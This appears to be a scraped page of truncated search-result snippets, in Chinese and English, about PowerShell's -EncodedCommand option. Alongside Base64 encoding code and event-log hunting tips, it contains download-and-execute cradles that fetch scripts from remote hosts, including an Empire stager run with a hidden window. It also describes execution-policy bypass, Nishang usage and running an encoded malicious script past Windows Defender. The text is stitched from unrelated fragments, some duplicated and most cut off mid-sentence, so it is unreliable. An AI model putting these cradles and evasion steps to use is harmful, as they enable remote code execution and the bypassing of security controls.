PowerShell复制 $commandDetails|ForEach-Object-Process{# Get the current process$currentProcess=$_# Convert the Base 64 string to a Byte Array$commandBytes= [System.Convert]::FromBase64String($currentProcess.EncodedCommand)# Convert the Byte Array to a string$decodedCommand= [System.Text...
-command/encodedcommand:命令执行参数 -command(-c)用法:powershell.exe -command ls -encodedcommand(-enc)用法:powershell.exe -encodedcommand base64命令 $fileContent = "所要编码的脚本" $bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent) $encodedCommand = [Convert]::ToBase64String($bytes...
1、查找带有%COMSPEC%、powershell.exe、-encodedcommand、-w hidden、"From Base64String"之类特征的7045事件。 2、查找诸如Gzipstream或者[IO.Compression.CompressionMode]::Decompress之类的特征字符串,可以帮助我们了解代码所使用的压缩方法。 3、尝试使用sdbg.exe、shellcode2exe或其他恶意软件分析工具来分析得到的二...
示例:powershell.exe -command “iex(New-Object Net.WebClient).DownloadString(‘http://[REMOVED]/myScript.ps1’)” 3、使用EncodedCommand参数执行单个Base64编码的命令。这将从执行策略排除命令。 示例:powershell.exe -enc [ENCODED COMMAND] 4、使用执行策略指令并传递“Bypass ”或“Unrestricted ”作为论据。
nps.exe -encodedcommand {base64_encoded_command} nps.exe -encode "commands to encode to base64" nps.exe -decode {base64_encoded_command} 我尝试编码一个恶意的脚本并运行。 很明显,这是因为 Windows Defender 没有运行。 一旦你重新激活 Windows Defender,它会立即检测出可执行文件是恶意的并将其消除。
PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>] [-NoLogo] [-NoExit] [-Sta] [-Mta] [-NoProfile] [-NonInteractive] [-InputFormat {Text | XML}] [-OutputFormat {Text | XML}] [-WindowStyle ] [-EncodedArguments <Base64EncodedArguments>] [-EncodedCommand <Base64EncodedComman...
nps.exe -encodedcommand {base64_encoded_command} nps.exe -encode "commands to encode to base64" nps.exe -decode {base64_encoded_command} 我尝试编码一个恶意的脚本并运行。很明显,这是因为Windows Defender没有运行。一旦你重新激活WindowsDefender,它会立即检测出可执行文件是恶意的并将其消除。查看Windows...
Method 2. Use the -encodedcommand (or -e) parameter of PowerShell All the scripts in Nishang export a function with same name in the current PowerShell session. Therefore, make sure the function call is made in the script itself while using encodedcommand parameter from a non-PowerShell shell...
Method 2. Use the -encodedcommand (or -e) parameter of PowerShell All the scripts in Nishang export a function with same name in the current PowerShell session. Therefore, make sure the function call is made in the script itself while using encodedcommand parameter from a non-PowerShell shell...
-enc:-EncodedCommand # http://10.10.14.24:4443/calcYwBhAGwAYwA= powershell-enc(New-Object Net.WebClient).DownloadString("http://10.10.14.24:4443/calc") powershell-noP-sta-w1-enc(New-Object Net.WebClient).DownloadString("http://10.10.14.24:4443/Empire")...